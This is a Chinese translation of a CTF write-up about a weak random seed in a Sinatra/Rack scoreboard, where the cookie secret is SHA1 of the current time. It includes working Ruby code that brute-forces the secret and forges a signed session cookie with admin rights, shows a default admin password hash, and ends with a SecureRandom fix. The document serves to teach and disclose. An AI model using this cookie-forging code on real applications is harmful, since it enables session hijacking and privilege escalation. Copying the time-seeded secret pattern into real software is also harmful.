弱隨機化種子漏洞科普

wyzsk發表於2020-08-19
作者: ∑-TEAM · 2014/04/15 11:29

0x00 背景


上週我參加了一個Bishop Fox和BYU大學舉辦的CTF比賽,在比賽過程中我決定嘗試一下入侵一下計分系統,並且我把入侵的過程記錄了下來。

儘管客戶端的token欺騙已經不是什麼新鮮事了,但是這次的入侵過程可以作為weak randomness漏洞的一個很好的練習。(這次攻擊目標所使用的框架並不是像Rails一樣常用的框架)

最後說一句:這個漏洞是框架自己帶有的而不是Bishop Fox 或者是 BYU的問題。

0x01 cookie執行原理


在開始之前,我推薦你閱讀一下這篇博文,他會告送你一個基於ruby的webapps如何處理cookie。

簡而言之,ruby會生成一個hash數值作為一個cookie儲存在使用者客戶端像這樣

{ 'session_id' => '78894f58c088a9c6555370a0d97e373e715b91bc' }  

之後ruby分為三步把他儲存到客戶端

(1)使用Marshal.dump對資料結構進行序列化  
(2)使用base64編碼第一步得到的字串  
(3)計算message的HMAC(HMAC被用於message的完整性檢查,這是ruby的一種機制以防使用者篡改自己的cookie)  

當以上三步做完之後,ruby會在標頭檔案中加入如下一段

Set-Cookie:"rack.session={base64-encoded message body}--{hmac};"  

實際的cookie是這樣

Set-Cookie:"rack.session=BAh7BkkiD3Nlc3Npb25faWQGOgZFVEkiRTViNDY1NjdkYTAzYjYwYTdlZGIy%0ANDg4NWEyMzVlY2E2YzRkYmM5M2IwYzgxZWJlMDc1NmQ0NGRmODE0ZjEzYjAG%0AOwBG%0A--2148e8dc04eeba3bf0f4e0d70c04465b61c4758d;"  

上述處理cookie的過程有一個漏洞,message中的資訊可以被客戶端還原,只需要對它進行base64解碼和反序列化即可得到原始的ruby object

ruby對於cookie信任的前提是,透過HMAC驗證message中的內容必須是有你程式碼中設定的金鑰標記過的,只有這樣ruby才會把cookie當做一個有效地憑證。

下圖就是上述過程簡要流程

enter image description here

如果你篡改了你的cookie,會導致HMAC驗證不透過,從而使你修改過的cookie值失效。

0x02 簡介


CTF的評分系統是一個Sinatra-based的webapp,它使用了一些基本的Rails機制,提供了一個計分板的效果。看一下程式碼,還是比較簡潔的。

這個webapp有一個有趣的現象就是,預設情況下程式碼庫中沒有配置檔案,配置檔案是在程式執行過程中生成的,下面是建立配置檔案的程式碼。

#!ruby
begin
  require './config.rb'
rescue Exception => e
  # create default config.rb
  open('./config.rb', "w+") {|f|
    f.puts <<-"EOS"
COOKIE_SECRET = "#{Digest::SHA1.hexdigest(Time.now.to_s)}"
ADMIN_PASS_SHA1 = "08a567fa1a826eeb981c6762a40576f14d724849" #ctfadmin
STYLE_SHEET = "/style.css"
HTML_TITLE = "scoreserver.rb CTF"
EOS
    f.flush
  }
  require './config.rb'
end

值得注意的是,COOKIE_SECERT就是前文中提到的HMAC所使用的key。他是Time.now.to_s的SHA-1雜湊。這段程式碼中所使用的Time.now.to_s就是我們所說的不健壯的隨機化種子。

0x03 原理


現在我們很容易知道,如果想要偽造cookie,就必須得到一個合法的HMAC字串,只有得到它之後,我們才可以透過修改session-id來控制session。

這個漏洞的根源是因為它使用了,弱隨機化種子,在上文的程式碼中,SHA1-hashing 加密了一個秒級別的精度的字串,這樣我們就可以使用暴力的方法嘗試一天之內秒數只需要60 x 60 x 24次嘗試。

而且我們並不需要把每次的嘗試結果提交到web伺服器,只需要在本地計算出正確的key,然後再透過它構造出正確的HMAC提交即可。

0x04 POC


為了確定一下我們是否可以破解HMAC,我們可以試一下。

首先,我們從webapp得到cookie和HMAC。如果你想自己測試,copy以下程式碼執行即可。

#!ruby
require 'faraday'

connection = Faraday.new(:url => 'http://localhost:4567')
response = connection.get '/'
cookie, hmac = response.headers[:'set-cookie'].split.first.chop.split('=').last.split('--')

現在我們只需要不斷的獲取Time.now和建立HMACs直到匹配為止。我們透過一個迴圈依次減小時間,直到找到正確的時間使得SHA1雜湊匹配而得到session key。

#!ruby
require 'digest/sha1'
require 'openssl'

def create_hmac message, key
  OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, key, CGI.unescape(message))
end

seed = Time.now

while (hmac != create_hmac(cookie, Digest::SHA1.hexdigest(seed.to_s))) do
    seed -= 1
end

key = Digest::SHA1.hexdigest(seed.to_s)

這樣我們就可以成功破解key了,這個key可以幫助我們建立合法的HMAC。

0x05 利用


得到了key,我們就可以找一下原始碼中有什麼能讓我們提升許可權的地方。

首先,程式碼會對cookie進行反序列化。

#!ruby
params = Marshal.load(Base64.decode64(CGI.unescape(cookie)))

這樣修改之後,我們就可以賦予自己管理員許可權。

#!ruby
params.merge!({ 'admin' => true })

透過上述語句重建cookie

#!ruby
bad_cookie = CGI.escape(Base64.encode64(Marshal.dump(params)))
bad_hmac = create_hmac(bad_cookie, key)
header = "rack.session=#{bad_cookie}--#{bad_hmac};"

只要把上面得到的cookie內容,加到header裡面就可以獲取管理員許可權了。

到達這一步只要檢視原始碼就可以很輕易地獲取到每一題的答案了。

0x06 防禦方法


我在github上提交了一個修改版本,其中使用這句代替了cookie secret key的生成

Digest::SHA1.hexdigest(Time.now.to_s)  

使用SecureRandom庫生成隨機數

SecureRandom.hex(20)  

這會生成一個40個字元的隨機字串

0x07 結論


這篇文章雖然在技術上沒有什麼實質性突破,但是作為一個弱隨機漏洞的例子還是很不錯的,希望在思路上可以啟發到各位。

from:http://blog.tjll.net/weak-random-seed-rack-exploit/

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章